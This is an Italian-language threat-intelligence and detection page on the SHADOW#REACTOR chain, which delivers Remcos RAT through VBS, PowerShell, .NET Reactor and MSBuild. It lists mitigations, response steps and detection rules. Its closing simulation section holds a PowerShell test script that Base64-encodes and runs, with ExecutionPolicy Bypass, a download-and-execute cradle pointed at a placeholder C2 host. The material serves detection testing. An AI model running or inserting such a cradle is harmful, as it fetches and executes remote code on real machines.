SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR E DISTRIBUZIONE DI REMCOS RAT IN MEMORIA
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
SHADOW#REACTOR è una catena di malware multi-stage per Windows che combina un launcher VBS offuscato, un downloader basato su PowerShell, artefatti di staging solo testo, un loader protetto da .NET Reactor e l’esecuzione di MSBuild per distribuire infine il trojan di accesso remoto (RAT) Remcos.
Investigazione
I ricercatori hanno ricostruito il flusso a partire da uno script VBS recuperato dall’infrastruttura degli attaccanti, seguito da routine PowerShell che riassemblano e decodificano i payload di testo stagionati. La catena procede con il caricamento riflessivo e in memoria di un’assembly .NET e un passaggio finale a MSBuild, che avvia l’esecuzione del Remcos RAT. Il write-up documenta i componenti codificati nel testo, la logica di decrittazione e i metodi di persistenza utilizzati per mantenere l’accesso.
Mitigazione
Aumentare la copertura di monitoraggio per host di script e interpreti, e impedire l’esecuzione di VBS/PowerShell da percorsi scrivibili dagli utenti dove possibile. Aggiungere rilevamenti per traffico HTTP sospetto verso infrastrutture identificate, uso improprio di MSBuild e caricamento riflessivo di assembly .NET. Monitorare per comuni pattern di persistenza, inclusi modifiche alla chiave Run e voci di avvio basate su collegamenti.
Risposta
Se l’attività di SHADOW#REACTOR è confermata, isolare l’endpoint e terminare l’intera catena di processi (wscript.exe → powershell.exe → msbuild.exe). Rimuovere eventuali file di testo di staging e artefatti di registro correlati, e intervenire eliminando i binari Remcos e gli eventuali blob di configurazione associati. Seguire con una revisione forense approfondita per determinare ulteriori compromessi e garantire l’eradicazione completa.
Flusso di attacco
Rilevamenti
LOLBAS WScript / CScript (via process_creation)
Visualizza
Stringhe Powershell Sospette (via powershell)
Visualizza
Binary Sospetti / Script in Posizione di Avvio Automatico (via file_event)
Visualizza
File Sospetti in Profilo Utente Pubblico (via file_event)
Visualizza
Esecuzione Sospetta da Profilo Utente Pubblico (via process_creation)
Visualizza
Chiamata di Metodi .NET Sospetti da Powershell (via powershell)
Visualizza
IOC (HashSha256) per rilevare: SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR, E DISTRIBUZIONE IN MEMORIA DI REMCOS RAT
Visualizza
IOC (SourceIP) per rilevare: SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR, E DISTRIBUZIONE IN MEMORIA DI REMCOS RAT
Visualizza
IOC (DestinationIP) per rilevare: SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR, E DISTRIBUZIONE IN MEMORIA DI REMCOS RAT
Visualizza
Rilevamento della Catena di Infezione SHADOW#REACTOR [Creazione Processo Windows]
Visualizza
Rilevamento di Bypass ExecutionPolicy e Comandi PowerShell Offuscati [Windows Powershell]
Visualizza
Esecuzione Simulazione
Requisito: Il Telemetry & Baseline Pre‑flight Check deve essere passato.
Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP individuati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa d’Attacco e Comandi:
Un attaccante con diritti limitati di movimento laterale desidera eseguire un payload remoto su un host Windows compromesso eludendo le tipiche difese di blocco degli script. Utilizzano PowerShell con-ExecutionPolicy Bypassper ignorare le restrizioni della policy di esecuzione. Il payload malevolo è offuscato come una stringa codificata in Base64 che, quando decodificata, crea unSystem.Net.WebClientoggetto per scaricare uno script PowerShell da un server C2 e invocarlo. Questa combinazione soddisfa tutti e tre i criteri di rilevamento (ExecutionPolicy Bypass,FromBase64String,System.Net.WebClient). -
Script Test di Regressione:
#-------------------------------------------- # Esecuzione PowerShell malevola simulata #-------------------------------------------- # 1. Creare uno script remoto semplice (solo a scopo dimostrativo) $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")' # 2. Codificare lo script in Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript) $b64 = [Convert]::ToBase64String($bytes) # 3. Eseguire con Bypass ExecutionPolicy e FromBase64String PowerShell -ExecutionPolicy Bypass -Command " $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64')); Invoke-Expression $decoded " -
Comandi di Pulizia:
# Rimuovere tutti i payload scaricati e interrompere i processi PowerShell in sospeso Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue